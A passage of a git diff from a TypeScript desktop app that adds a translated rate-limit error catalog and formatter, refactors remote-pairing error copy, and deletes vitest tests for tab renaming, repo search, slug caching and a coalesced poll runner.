+    key: 'auto.lib.rateLimits.errors.codexResetIdempotencyRequired',
+    fallback: 'Codex reset idempotency key is required'
+  },
+  {
+    test: 'No subscription plan — API key billing',
+    key: 'auto.lib.rateLimits.errors.noSubscriptionApiKeyBilling',
+    fallback: 'No subscription plan — API key billing'
+  },
+  {
+    test: 'Claude usage refresh is waiting for the live Claude terminal to rotate its credentials.',
+    key: 'auto.lib.rateLimits.errors.claudeWaitingCredentialRotate',
+    fallback:
+      'Claude usage refresh is waiting for the live Claude terminal to rotate its credentials.'
+  },
+  { test: 'Unknown error', key: 'auto.lib.rateLimits.errors.unknown', fallback: 'Unknown error' }
+]
diff --git a/src/renderer/src/lib/rate-limit-user-facing-error-catalog.ts b/src/renderer/src/lib/rate-limit-user-facing-error-catalog.ts
new file mode 100644
index 00000000000..8f5c2dd7a32
--- /dev/null
+++ b/src/renderer/src/lib/rate-limit-user-facing-error-catalog.ts
@@ -0,0 +1,8 @@
+import { KNOWN_RATE_LIMIT_ERRORS_A } from './rate-limit-user-facing-error-catalog-a'
+import { KNOWN_RATE_LIMIT_ERRORS_B } from './rate-limit-user-facing-error-catalog-b'
+import type { RateLimitKnownError } from './rate-limit-user-facing-error-types'
+
+export const KNOWN_RATE_LIMIT_ERRORS: RateLimitKnownError[] = [
+  ...KNOWN_RATE_LIMIT_ERRORS_A,
+  ...KNOWN_RATE_LIMIT_ERRORS_B
+]
diff --git a/src/renderer/src/lib/rate-limit-user-facing-error-types.ts b/src/renderer/src/lib/rate-limit-user-facing-error-types.ts
new file mode 100644
index 00000000000..87ee59c0b79
--- /dev/null
+++ b/src/renderer/src/lib/rate-limit-user-facing-error-types.ts
@@ -0,0 +1,6 @@
+export type RateLimitKnownError = {
+  test: RegExp | string
+  key: string
+  fallback: string
+  vars?: (match: RegExpMatchArray) => Record<string, string>
+}
diff --git a/src/renderer/src/lib/rate-limit-user-facing-error.ts b/src/renderer/src/lib/rate-limit-user-facing-error.ts
new file mode 100644
index 00000000000..4768d1f6d8f
--- /dev/null
+++ b/src/renderer/src/lib/rate-limit-user-facing-error.ts
@@ -0,0 +1,30 @@
+import { translate } from '@/i18n/i18n'
+import { KNOWN_RATE_LIMIT_ERRORS } from './rate-limit-user-facing-error-catalog'
+
+export function formatRateLimitUserFacingError(raw: string | null | undefined): string {
+  if (!raw?.trim()) {
+    return ''
+  }
+  const message = raw.trim()
+  const invalidWorkspace = message.match(/^Invalid workspace ID format:(.*)$/i)
+  if (invalidWorkspace) {
+    return `${translate('auto.lib.rateLimits.errors.opencodeInvalidWorkspaceId', 'Invalid workspace ID format')}:${invalidWorkspace[1]}`
+  }
+  for (const known of KNOWN_RATE_LIMIT_ERRORS) {
+    if (typeof known.test === 'string') {
+      if (message === known.test) {
+        return translate(known.key, known.fallback)
+      }
+      // Why: macOS Tailscale DNS hint appends after the base English error.
+      if (message.startsWith(`${known.test} `)) {
+        return `${translate(known.key, known.fallback)}${message.slice(known.test.length)}`
+      }
+      continue
+    }
+    const match = message.match(known.test)
+    if (match) {
+      return translate(known.key, known.fallback, known.vars?.(match))
+    }
+  }
+  return message
+}
diff --git a/src/renderer/src/lib/remote-pairing-copy.ts b/src/renderer/src/lib/remote-pairing/remote-pairing-copy.ts
similarity index 95%
rename from src/renderer/src/lib/remote-pairing-copy.ts
rename to src/renderer/src/lib/remote-pairing/remote-pairing-copy.ts
index e14b6171716..7ce2a6ac92b 100644
--- a/src/renderer/src/lib/remote-pairing-copy.ts
+++ b/src/renderer/src/lib/remote-pairing/remote-pairing-copy.ts
@@ -1,8 +1,8 @@
 import type {
   HostAccessLinkErrorKind,
   RemotePairingEndpointKind
-} from '../../../shared/remote-runtime/pairing/remote-pairing-address'
-import type { RemotePairingFailureKind } from '../../../shared/remote-runtime/pairing/remote-pairing-verification'
+} from '../../../../shared/remote-runtime/pairing/remote-pairing-address'
+import type { RemotePairingFailureKind } from '../../../../shared/remote-runtime/pairing/remote-pairing-verification'
 import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
 
diff --git a/src/renderer/src/lib/remote-server-pairing-error-copy.ts b/src/renderer/src/lib/remote-pairing/remote-server-pairing-error-copy.ts
similarity index 59%
rename from src/renderer/src/lib/remote-server-pairing-error-copy.ts
rename to src/renderer/src/lib/remote-pairing/remote-server-pairing-error-copy.ts
index cdc20ee1685..138f2d64075 100644
--- a/src/renderer/src/lib/remote-server-pairing-error-copy.ts
+++ b/src/renderer/src/lib/remote-pairing/remote-server-pairing-error-copy.ts
@@ -1,30 +1,42 @@
 import { translate } from '@/i18n/i18n'
 import {
-  REMOTE_SERVER_PAIRING_FAILURE_COPY as EN,
+  REMOTE_SERVER_PAIRING_FAILURE_COPY,
   type RemoteServerPairingFailureCode
-} from '../../../shared/remote-runtime/pairing/remote-server-pairing-failure-copy'
+} from '../../../../shared/remote-runtime/pairing/remote-server-pairing-failure-copy'
 
 // null = required server name missing; caller shows the host's English `message`.
 const COPY: Record<RemoteServerPairingFailureCode, (name: string | null) => string | null> = {
   invalidPairingCode: () =>
-    translate('runtime.remoteServerPairingErrors.invalidPairingCode', EN.invalidPairingCode),
+    translate(
+      'runtime.remoteServerPairingErrors.invalidPairingCode',
+      REMOTE_SERVER_PAIRING_FAILURE_COPY.invalidPairingCode
+    ),
   selfPairingCode: () =>
-    translate('runtime.remoteServerPairingErrors.selfPairingCode', EN.selfPairingCode),
+    translate(
+      'runtime.remoteServerPairingErrors.selfPairingCode',
+      REMOTE_SERVER_PAIRING_FAILURE_COPY.selfPairingCode
+    ),
   managedDeployment: () =>
-    translate('runtime.remoteServerPairingErrors.managedDeployment', EN.managedDeployment),
+    translate(
+      'runtime.remoteServerPairingErrors.managedDeployment',
+      REMOTE_SERVER_PAIRING_FAILURE_COPY.managedDeployment
+    ),
   sshAccessChangePending: () =>
     translate(
       'runtime.remoteServerPairingErrors.sshAccessChangePending',
-      EN.sshAccessChangePending
+      REMOTE_SERVER_PAIRING_FAILURE_COPY.sshAccessChangePending
     ),
   sshAccessLinked: () =>
-    translate('runtime.remoteServerPairingErrors.sshAccessLinked', EN.sshAccessLinked),
+    translate(
+      'runtime.remoteServerPairingErrors.sshAccessLinked',
+      REMOTE_SERVER_PAIRING_FAILURE_COPY.sshAccessLinked
+    ),
   alreadyPairedCloudWorkspace: (name) =>
     name === null
       ? null
       : translate(
           'runtime.remoteServerPairingErrors.alreadyPairedCloudWorkspace',
-          EN.alreadyPairedCloudWorkspace,
+          REMOTE_SERVER_PAIRING_FAILURE_COPY.alreadyPairedCloudWorkspace,
           { name }
         ),
   alreadyPairedCloudIdentity: (name) =>
@@ -32,7 +44,7 @@ const COPY: Record<RemoteServerPairingFailureCode, (name: string | null) => stri
       ? null
       : translate(
           'runtime.remoteServerPairingErrors.alreadyPairedCloudIdentity',
-          EN.alreadyPairedCloudIdentity,
+          REMOTE_SERVER_PAIRING_FAILURE_COPY.alreadyPairedCloudIdentity,
           { name }
         ),
   alreadyPairedWslHost: (name) =>
@@ -40,7 +52,7 @@ const COPY: Record<RemoteServerPairingFailureCode, (name: string | null) => stri
       ? null
       : translate(
           'runtime.remoteServerPairingErrors.alreadyPairedWslHost',
-          EN.alreadyPairedWslHost,
+          REMOTE_SERVER_PAIRING_FAILURE_COPY.alreadyPairedWslHost,
           {
             name
           }
@@ -50,7 +62,7 @@ const COPY: Record<RemoteServerPairingFailureCode, (name: string | null) => stri
       ? null
       : translate(
           'runtime.remoteServerPairingErrors.alreadyPairedManagedDeployment',
-          EN.alreadyPairedManagedDeployment,
+          REMOTE_SERVER_PAIRING_FAILURE_COPY.alreadyPairedManagedDeployment,
           { name }
         ),
   alreadyPairedSshAccessChangePending: (name) =>
@@ -58,7 +70,7 @@ const COPY: Record<RemoteServerPairingFailureCode, (name: string | null) => stri
       ? null
       : translate(
           'runtime.remoteServerPairingErrors.alreadyPairedSshAccessChangePending',
-          EN.alreadyPairedSshAccessChangePending,
+          REMOTE_SERVER_PAIRING_FAILURE_COPY.alreadyPairedSshAccessChangePending,
           { name }
         ),
   alreadyPairedSshAccessLinked: (name) =>
@@ -66,7 +78,7 @@ const COPY: Record<RemoteServerPairingFailureCode, (name: string | null) => stri
       ? null
       : translate(
           'runtime.remoteServerPairingErrors.alreadyPairedSshAccessLinked',
-          EN.alreadyPairedSshAccessLinked,
+          REMOTE_SERVER_PAIRING_FAILURE_COPY.alreadyPairedSshAccessLinked,
           { name }
         ),
   alreadyPairedAddAgain: (name) =>
@@ -74,7 +86,7 @@ const COPY: Record<RemoteServerPairingFailureCode, (name: string | null) => stri
       ? null
       : translate(
           'runtime.remoteServerPairingErrors.alreadyPairedAddAgain',
-          EN.alreadyPairedAddAgain,
+          REMOTE_SERVER_PAIRING_FAILURE_COPY.alreadyPairedAddAgain,
           {
             name
           }
@@ -84,23 +96,39 @@ const COPY: Record<RemoteServerPairingFailureCode, (name: string | null) => stri
       ? null
       : translate(
           'runtime.remoteServerPairingErrors.alreadyPairedUnreadable',
-          EN.alreadyPairedUnreadable,
+          REMOTE_SERVER_PAIRING_FAILURE_COPY.alreadyPairedUnreadable,
           { name }
         ),
   nameTaken: (name) =>
     name === null
       ? null
-      : translate('runtime.remoteServerPairingErrors.nameTaken', EN.nameTaken, {
-          name
-        }),
+      : translate(
+          'runtime.remoteServerPairingErrors.nameTaken',
+          REMOTE_SERVER_PAIRING_FAILURE_COPY.nameTaken,
+          {
+            name
+          }
+        ),
   idNeedsNewerOrca: () =>
-    translate('runtime.remoteServerPairingErrors.idNeedsNewerOrca', EN.idNeedsNewerOrca),
+    translate(
+      'runtime.remoteServerPairingErrors.idNeedsNewerOrca',
+      REMOTE_SERVER_PAIRING_FAILURE_COPY.idNeedsNewerOrca
+    ),
   hostSaveFailed: () =>
-    translate('runtime.remoteServerPairingErrors.hostSaveFailed', EN.hostSaveFailed),
+    translate(
+      'runtime.remoteServerPairingErrors.hostSaveFailed',
+      REMOTE_SERVER_PAIRING_FAILURE_COPY.hostSaveFailed
+    ),
   repairSaveFailed: () =>
-    translate('runtime.remoteServerPairingErrors.repairSaveFailed', EN.repairSaveFailed),
+    translate(
+      'runtime.remoteServerPairingErrors.repairSaveFailed',
+      REMOTE_SERVER_PAIRING_FAILURE_COPY.repairSaveFailed
+    ),
   repairCloudWorkspace: () =>
-    translate('runtime.remoteServerPairingErrors.repairCloudWorkspace', EN.repairCloudWorkspace)
+    translate(
+      'runtime.remoteServerPairingErrors.repairCloudWorkspace',
+      REMOTE_SERVER_PAIRING_FAILURE_COPY.repairCloudWorkspace
+    )
 }
 
 function isRemoteServerPairingFailureCode(code: unknown): code is RemoteServerPairingFailureCode {
diff --git a/src/renderer/src/lib/rename-user-named-tab-access.test.ts b/src/renderer/src/lib/rename-user-named-tab-access.test.ts
deleted file mode 100644
index b08ecc4391e..00000000000
--- a/src/renderer/src/lib/rename-user-named-tab-access.test.ts
+++ /dev/null
@@ -1,197 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type * as RuntimeFileMutationClient from '@/runtime/files/mutations/runtime-file-mutation-client'
-import type * as EditorAutosave from '@/components/editor/autosave/editor-autosave'
-
-const mocks = vi.hoisted(() => ({ renameRuntimePath: vi.fn(), writeRuntimeFile: vi.fn() }))
-vi.mock('@/runtime/files/mutations/runtime-file-mutation-client', async (importOriginal) => {
-  const actual = await importOriginal<typeof RuntimeFileMutationClient>()
-  return {
-    ...actual,
-    renameRuntimePath: mocks.renameRuntimePath,
-    writeRuntimeFile: mocks.writeRuntimeFile
-  }
-})
-// Switch on: main renames the tabs, and its frame rekeys the content (T1 transport, apply mode).
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await importOriginal())
-)
-vi.mock('@/runtime/workspace-layout/frames/runtime-layout-client', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeLayoutClientWithTestFrames(await importOriginal())
-)
-vi.mock('@/components/editor/autosave/editor-autosave', async (importOriginal) => {
-  const actual = await importOriginal<typeof EditorAutosave>()
-  return { ...actual, requestEditorSaveQuiesce: vi.fn().mockResolvedValue(undefined) }
-})
-
-import { useAppStore } from '@/store'
-import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants'
-import type { Repo } from '../../../shared/repo-types'
-import type { Worktree } from '../../../shared/worktree/types'
-import {
-  clearFileExplorerUndoHistory,
-  redoFileExplorer,
-  undoFileExplorer
-} from '@/components/right-sidebar/file-explorer/mutations/fileExplorerUndoRedo'
-import { createEditorSaveQueue } from '@/components/editor/save/queue/editor-save-queue'
-import {
-  editorTabDocumentFolderAccess,
-  editorTabFileAccess
-} from './files/access/local-file-access'
-import { renameFileOnDisk } from './editor/file-operations/rename-file'
-import { withLoadedBaselines } from '@/components/editor/autosave/editor-autosave-controller-test-fixture'
-import {
-  drawTabsFromMain,
-  type TabsDrawnFromMain
-} from '@/store/slices/tabs/tabs-drawn-from-main.test-fixture'
-
-let main: TabsDrawnFromMain
-
-const PROJECT = '/Users/me/project'
-const WT = `repo-local::${PROJECT}`
-const repo: Repo = {
-  id: 'repo-local',
-  path: PROJECT,
-  displayName: 'project',
-  badgeColor: '#000',
-  addedAt: 0
-}
-const worktree: Worktree = {
-  id: WT,
-  repoId: 'repo-local',
-  path: PROJECT,
-  head: 'a',
-  branch: 'refs/heads/main',
-  isBare: false,
-  isMainWorktree: true,
-  displayName: 'project',
-  comment: '',
-  linkedIssue: null,
-  linkedPR: null,
-  linkedLinearIssue: null,
-  isArchived: false,
-  isUnread: false,
-  isPinned: false,
-  sortOrder: 0,
-  lastActivityAt: 0
-}
-
-const documentFolder = (documentPath: string) => ({ kind: 'document-folder', documentPath })
-
-function openUserNamedTab(filePath: string, worktreeId: string): void {
-  useAppStore.getState().openFile(
-    {
-      filePath,
-      relativePath: filePath,
-      worktreeId,
-      runtimeEnvironmentId: null,
-      language: 'markdown',
-      mode: 'edit'
-    },
-    { suppressActiveRuntimeFallback: true }
-  )
-}
-
-async function onlyTab() {
-  // Main draws each open and answers each rename before the tab shows it.
-  await main.settle()
-  const tabs = useAppStore.getState().openFiles
-  expect(tabs).toHaveLength(1)
-  return tabs[0]!
-}
-
-// Reads/rename/image insert derive access from stored tab fields; restart restores only filePath/relativePath, so those must retain access.
-async function expectUserNamedAt(filePath: string): Promise<void> {
-  const tab = await onlyTab()
-  expect(tab.filePath).toBe(filePath)
-  expect(tab.relativePath).toBe(filePath)
-  const state = useAppStore.getState()
-  expect(editorTabFileAccess(state, tab)).toEqual({ kind: 'user-file' })
-  expect(editorTabDocumentFolderAccess(state, tab)).toEqual(documentFolder(filePath))
-  const restored = {
-    filePath: tab.filePath,
-    relativePath: tab.relativePath,
-    worktreeId: tab.worktreeId,
-    runtimeEnvironmentId: tab.runtimeEnvironmentId
-  }
-  expect(editorTabFileAccess(state, restored)).toEqual({ kind: 'user-file' })
-
-  mocks.writeRuntimeFile.mockClear()
-  await createEditorSaveQueue(withLoadedBaselines(useAppStore)).queueSave(tab, 'edited', 'user')
-  expect(mocks.writeRuntimeFile).toHaveBeenCalledWith(
-    expect.anything(),
-    filePath,
-    'edited',
-    { kind: 'user-file' },
-    expect.anything(),
-    expect.any(Function)
-  )
-}
-
-async function renameTab(newName: string, worktreePath: string): Promise<void> {
-  const tab = await onlyTab()
-  await renameFileOnDisk({
-    oldPath: tab.filePath,
-    newName,
-    worktreeId: tab.worktreeId,
-    worktreePath,
-    operationOwner: { kind: 'local' },
-    documentScoped: editorTabDocumentFolderAccess(useAppStore.getState(), tab) !== undefined
-  })
-}
-
-function renameCalls(): unknown[][] {
-  return mocks.renameRuntimePath.mock.calls.map((call) => call.slice(1))
-}
-
-beforeEach(async () => {
-  useAppStore.setState(useAppStore.getInitialState(), true)
-  useAppStore.setState({ repos: [repo], worktreesByRepo: { 'repo-local': [worktree] } })
-  clearFileExplorerUndoHistory()
-  mocks.renameRuntimePath.mockReset().mockResolvedValue(undefined)
-  mocks.writeRuntimeFile.mockReset().mockResolvedValue({ ok: true })
-  vi.stubGlobal('window', {
-    setTimeout,
-    clearTimeout,
-    dispatchEvent: vi.fn()
-  })
-  main = await drawTabsFromMain(useAppStore)
-})
-
-afterEach(() => {
-  main.close()
-  vi.unstubAllGlobals()
-})
-
-describe('renaming a floating-workspace document, then Undo and Redo', () => {
-  const NOTE = '/home/me/notes/note.md'
-
-  // Why the moved file is the document on Undo: main widens a rename only from the opened document.
-  it.each([
-    ['another outside folder', '../other/note.md', '/home/me/notes/../other/note.md'],
-    [
-      'a project',
-      '../../../Users/me/project/note.md',
-      '/home/me/notes/../../../Users/me/project/note.md'
-    ],
-    ['a subfolder', 'archive/note.md', '/home/me/notes/archive/note.md']
-  ])('moves it into %s and keeps it user-named', async (_, newName, moved) => {
-    openUserNamedTab(NOTE, FLOATING_TERMINAL_WORKTREE_ID)
-
-    await renameTab(newName, '/home/me/notes')
-    await expectUserNamedAt(moved)
-    expect(await undoFileExplorer()).toBe(true)
-    await expectUserNamedAt(NOTE)
-    expect(await redoFileExplorer()).toBe(true)
-    await expectUserNamedAt(moved)
-
-    expect(renameCalls()).toEqual([
-      [NOTE, moved, documentFolder(NOTE)],
-      [moved, NOTE, documentFolder(moved)],
-      [NOTE, moved, documentFolder(NOTE)]
-    ])
-  })
-})
diff --git a/src/renderer/src/lib/repo-search.test.ts b/src/renderer/src/lib/repo-search.test.ts
deleted file mode 100644
index c130619e5a1..00000000000
--- a/src/renderer/src/lib/repo-search.test.ts
+++ /dev/null
@@ -1,46 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { REPO_SEARCH_QUERY_MAX_BYTES, isRepoSearchQueryTooLarge, searchRepos } from './repo-search'
-import type { Repo } from '../../../shared/repo-types'
-
-describe('repo-search', () => {
-  it('rejects oversized pasted queries before reading repo names or paths', () => {
-    const oversizedQuery = 'secret-repo-search'.repeat(REPO_SEARCH_QUERY_MAX_BYTES)
-    const repos = [
-      {
-        id: 'secret',
-        badgeColor: '#111111',
-        addedAt: 0,
-        get displayName(): string {
-          throw new Error('oversized repo searches must not scan display names')
-        },
-        get path(): string {
-          throw new Error('oversized repo searches must not scan paths')
-        }
-      }
-    ] as Repo[]
-
-    expect(isRepoSearchQueryTooLarge(oversizedQuery)).toBe(true)
-    expect(searchRepos(repos, oversizedQuery)).toEqual([])
-  })
-
-  it('rejects multibyte pasted queries before reading repo names or paths', () => {
-    const oversizedQuery = '😀'.repeat(Math.floor(REPO_SEARCH_QUERY_MAX_BYTES / 4) + 1)
-    const repos = [
-      {
-        id: 'secret',
-        badgeColor: '#111111',
-        addedAt: 0,
-        get displayName(): string {
-          throw new Error('oversized repo searches must not scan display names')
-        },
-        get path(): string {
-          throw new Error('oversized repo searches must not scan paths')
-        }
-      }
-    ] as Repo[]
-
-    expect(oversizedQuery.length).toBeLessThan(REPO_SEARCH_QUERY_MAX_BYTES)
-    expect(isRepoSearchQueryTooLarge(oversizedQuery)).toBe(true)
-    expect(searchRepos(repos, oversizedQuery)).toEqual([])
-  })
-})
diff --git a/src/renderer/src/lib/repo-slug-cache.test.ts b/src/renderer/src/lib/repo-slug-cache.test.ts
deleted file mode 100644
index d937e5bd48d..00000000000
--- a/src/renderer/src/lib/repo-slug-cache.test.ts
+++ /dev/null
@@ -1,24 +0,0 @@
-import { beforeEach, describe, expect, it } from 'vitest'
-
-import '../../../shared/github/repository-identity-key'
-import {
-  REPO_SLUG_FAILURE_TTL_MS,
-  clearRepoSlugCacheValues,
-  nextRepoSlugFailureRetryDelay,
-  readRepoSlugCache,
-  rememberRepoSlug,
-  slugCacheKey
-} from './repo-slug-cache'
-
-describe('repo slug cache host identity', () => {
-  beforeEach(() => clearRepoSlugCacheValues())
-
-  it('expires negative slug resolutions so an external GHES login can recover', () => {
-    const key = slugCacheKey('enterprise', { kind: 'local' })
-    rememberRepoSlug(key, null, 1_000)
-
-    expect(readRepoSlugCache(key, 1_000)).toEqual({ hit: true, value: null })
-    expect(nextRepoSlugFailureRetryDelay(new Set([key]), 1_000)).toBe(REPO_SLUG_FAILURE_TTL_MS)
-    expect(readRepoSlugCache(key, 1_000 + REPO_SLUG_FAILURE_TTL_MS)).toEqual({ hit: false })
-  })
-})
diff --git a/src/renderer/src/lib/repo-slug-index.test.ts b/src/renderer/src/lib/repo-slug-index.test.ts
deleted file mode 100644
index dace62311a7..00000000000
--- a/src/renderer/src/lib/repo-slug-index.test.ts
+++ /dev/null
@@ -1,77 +0,0 @@
-// @vitest-environment happy-dom
-
-import { act, cleanup, renderHook } from '@testing-library/react'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { Repo } from '../../../shared/repo-types'
-import { useAppStore } from '@/store'
-import { useRepoSlugIndex } from './repo-slug-index'
-import { REPO_SLUG_FAILURE_TTL_MS, clearRepoSlugCacheValues } from './repo-slug-cache'
-
-const repoSlug = vi.fn()
-
-function makeRepo(overrides: Partial<Repo> & { id: string }): Repo {
-  return {
-    path: `/repos/${overrides.id}`,
-    displayName: overrides.id,
-    badgeColor: '#000',
-    addedAt: 1,
-    executionHostId: 'local',
-    ...overrides
-  }
-}
-
-const initialState = useAppStore.getInitialState()
-
-function setRepos(repos: Repo[]): void {
-  useAppStore.setState({ ...initialState, repos, settings: initialState.settings }, true)
-}
-
-beforeEach(() => {
-  clearRepoSlugCacheValues()
-  repoSlug.mockReset()
-  // Resolve origin through preload; fork aliases read only existing repo.upstream metadata.
-  Object.assign(window, { api: { gh: { repoSlug } } })
-})
-
-afterEach(() => {
-  // Unmount hooks before DOM teardown or deferred React work throws window-is-undefined errors.
-  cleanup()
-  setRepos([])
-})
-
-describe('useRepoSlugIndex failure retry', () => {
-  afterEach(() => vi.useRealTimers())
-
-  it('re-resolves a failed slug after the failure TTL and stops once unmounted', async () => {
-    vi.useFakeTimers()
-    const repo = makeRepo({ id: 'flaky' })
-    setRepos([repo])
-    // Negative-cached non-GitHub results must arm bounded retries.
-    repoSlug.mockResolvedValueOnce(null)
-
-    const { result } = renderHook(() => useRepoSlugIndex())
-    await act(async () => void (await vi.advanceTimersByTimeAsync(0)))
-    expect(result.current.ready).toBe(true)
-    expect(result.current.lookupSlug('acme/widgets')).toEqual([])
-    expect(repoSlug).toHaveBeenCalledTimes(1)
-
-    repoSlug.mockResolvedValue({ owner: 'acme', repo: 'widgets' })
-    await act(async () => void (await vi.advanceTimersByTimeAsync(REPO_SLUG_FAILURE_TTL_MS + 10)))
-    expect(repoSlug.mock.calls.length).toBeGreaterThan(1)
-    expect(result.current.lookupSlug('acme/widgets')).toEqual([repo])
-  })
-
-  it('clears the pending retry timer on unmount', async () => {
-    vi.useFakeTimers()
-    setRepos([makeRepo({ id: 'flaky' })])
-    // Permanent failures keep retries armed; assert cleanup because one leaked timer per project row would accumulate.
-    repoSlug.mockResolvedValue(null)
-
-    const { unmount } = renderHook(() => useRepoSlugIndex())
-    await act(async () => void (await vi.advanceTimersByTimeAsync(0)))
-    const armedCount = vi.getTimerCount()
-
-    unmount()
-    expect(vi.getTimerCount()).toBeLessThan(armedCount)
-  })
-})
diff --git a/src/renderer/src/lib/repository-refresh/coalesced-poll-runner.test.ts b/src/renderer/src/lib/repository-refresh/coalesced-poll-runner.test.ts
deleted file mode 100644
index b39a4d4b987..00000000000
--- a/src/renderer/src/lib/repository-refresh/coalesced-poll-runner.test.ts
+++ /dev/null
@@ -1,319 +0,0 @@
-import { describe, expect, it, vi } from 'vitest'
-import { type CoalescedPollRunner, createCoalescedPollRunner } from './coalesced-poll-runner'
-
-function deferred(): {
-  promise: Promise<void>
-  resolve: () => void
-  reject: (error: Error) => void
-} {
-  let resolve: () => void = () => {}
-  let reject: (error: Error) => void = () => {}
-  const promise = new Promise<void>((r, j) => {
-    resolve = r
-    reject = j
-  })
-  return { promise, resolve, reject }
-}
-
-async function flushMicrotasks(): Promise<void> {
-  await Promise.resolve()
-  await Promise.resolve()
-}
-
-describe('createCoalescedPollRunner', () => {
-  it('keeps one task in flight and runs one trailing task after skipped triggers', async () => {
-    const calls: ReturnType<typeof deferred>[] = []
-    const task = vi.fn(() => {
-      const call = deferred()
-      calls.push(call)
-      return call.promise
-    })
-    const runner = createCoalescedPollRunner(task)
-
-    runner.run()
-    runner.run()
-    runner.run()
-    await flushMicrotasks()
-
-    expect(task).toHaveBeenCalledTimes(1)
-    calls[0]?.resolve()
-    await flushMicrotasks()
-
-    expect(task).toHaveBeenCalledTimes(2)
-    calls[1]?.resolve()
-    await flushMicrotasks()
-    expect(task).toHaveBeenCalledTimes(2)
-  })
-
-  it('drops queued trailing work after disposal', async () => {
-    const call = deferred()
-    const task = vi.fn(() => call.promise)
-    const runner = createCoalescedPollRunner(task)
-
-    runner.run()
-    runner.run()
-    runner.dispose()
-    call.resolve()
-    await flushMicrotasks()
-
-    expect(task).toHaveBeenCalledTimes(1)
-  })
-
-  it('enforces minIntervalMs delay between consecutive runs', async () => {
-    vi.useFakeTimers()
-    const calls: ReturnType<typeof deferred>[] = []
-    const task = vi.fn(() => {
-      const call = deferred()
-      calls.push(call)
-      return call.promise
-    })
-    const runner = createCoalescedPollRunner(task, { minIntervalMs: 1000 })
-
-    runner.run()
-    expect(task).toHaveBeenCalledTimes(1)
-
-    runner.run()
-    expect(task).toHaveBeenCalledTimes(1)
-
-    calls[0]?.resolve()
-    await flushMicrotasks()
-
-    expect(task).toHaveBeenCalledTimes(1)
-
-    await vi.advanceTimersByTimeAsync(500)
-    expect(task).toHaveBeenCalledTimes(1)
-
-    await vi.advanceTimersByTimeAsync(500)
-    expect(task).toHaveBeenCalledTimes(2)
-
-    calls[1]?.resolve()
-    await flushMicrotasks()
-    vi.useRealTimers()
-  })
-
-  describe('slowTaskBackoff', () => {
-    const BACKOFF = { idleMultiplier: 5, changeSignalMultiplier: 1, maxIntervalMs: 300_000 }
-
-    function makeSlowRunner(): {
-      runner: CoalescedPollRunner
-      task: ReturnType<typeof vi.fn>
-      calls: ReturnType<typeof deferred>[]
-    } {
-      const calls: ReturnType<typeof deferred>[] = []
-      const task = vi.fn(() => {
-        const call = deferred()
-        calls.push(call)
-        return call.promise
-      })
-      const runner = createCoalescedPollRunner(task, {
-        minIntervalMs: 3000,
-        slowTaskBackoff: BACKOFF
-      })
-      return { runner, task, calls }
-    }
-
-    async function completeRunOfDuration(
-      runner: CoalescedPollRunner,
-      calls: ReturnType<typeof deferred>[],
-      durationMs: number
-    ): Promise<void> {
-      runner.run()
-      await vi.advanceTimersByTimeAsync(durationMs)
-      calls.at(-1)?.resolve()
-      await flushMicrotasks()
-    }
-
-    it('scales the tick idle gap with the previous run duration', async () => {
-      vi.useFakeTimers()
-      const { runner, task, calls } = makeSlowRunner()
-
-      // A 35s run (large-monorepo git status) with poll ticks arriving during it.
-      runner.run()
-      runner.run()
-      await vi.advanceTimersByTimeAsync(35_000)
-      calls[0]?.resolve()
-      await flushMicrotasks()
-      expect(task).toHaveBeenCalledTimes(1)
-
-      await vi.advanceTimersByTimeAsync(3000)
-      runner.run()
-      await vi.advanceTimersByTimeAsync(171_998)
-      runner.run()
-      expect(task).toHaveBeenCalledTimes(1)
-
-      // 5x the 35s duration → next tick-driven run only after 175s idle.
-      await vi.advanceTimersByTimeAsync(2)
-      expect(task).toHaveBeenCalledTimes(2)
-
-      calls[1]?.resolve()
-      await flushMicrotasks()
-      vi.useRealTimers()
-    })
-
-    it('caps the backoff at maxIntervalMs', async () => {
-      vi.useFakeTimers()
-      const { runner, task, calls } = makeSlowRunner()
-
-      await completeRunOfDuration(runner, calls, 120_000)
-      expect(task).toHaveBeenCalledTimes(1)
-
-      // 5 x 120s = 600s uncapped; the cap holds the gap to 300s.
-      runner.run()
-      await vi.advanceTimersByTimeAsync(299_999)
-      expect(task).toHaveBeenCalledTimes(1)
-      await vi.advanceTimersByTimeAsync(1)
-      expect(task).toHaveBeenCalledTimes(2)
-
-      calls[1]?.resolve()
-      await flushMicrotasks()
-      vi.useRealTimers()
-    })
-
-    it('paces a GitCommandTimeoutError from its full timeout duration', async () => {
-      vi.useFakeTimers()
-      const { runner, task, calls } = makeSlowRunner()
-
-      runner.run()
-      runner.run()
-      await vi.advanceTimersByTimeAsync(120_000)
-      const timeoutError = new Error('git timed out.')
-      timeoutError.name = 'GitCommandTimeoutError'
-      calls[0]?.reject(timeoutError)
-      await flushMicrotasks()
-
-      await vi.advanceTimersByTimeAsync(299_999)
-      expect(task).toHaveBeenCalledTimes(1)
-      await vi.advanceTimersByTimeAsync(1)
-      expect(task).toHaveBeenCalledTimes(2)
-
-      calls[1]?.resolve()
-      await flushMicrotasks()
-      vi.useRealTimers()
-    })
-
-    it('keeps minIntervalMs as the gap for fast tasks', async () => {
-      vi.useFakeTimers()
-      const { runner, task, calls } = makeSlowRunner()
-
-      await completeRunOfDuration(runner, calls, 100)
-      expect(task).toHaveBeenCalledTimes(1)
-
-      // max(3000, 5 x 100ms) = 3000 → normal-repo cadence is unchanged.
-      runner.run()
-      await vi.advanceTimersByTimeAsync(2999)
-      expect(task).toHaveBeenCalledTimes(1)
-      await vi.advanceTimersByTimeAsync(1)
-      expect(task).toHaveBeenCalledTimes(2)
-
-      calls[1]?.resolve()
-      await flushMicrotasks()
-      vi.useRealTimers()
-    })
-
-    it('lets change signals run after the short backoff instead of the tick backoff', async () => {
-      vi.useFakeTimers()
-      const { runner, task, calls } = makeSlowRunner()
-
-      await completeRunOfDuration(runner, calls, 35_000)
-      expect(task).toHaveBeenCalledTimes(1)
-
-      // A change signal waits 1 x 35s, not 5 x 35s.
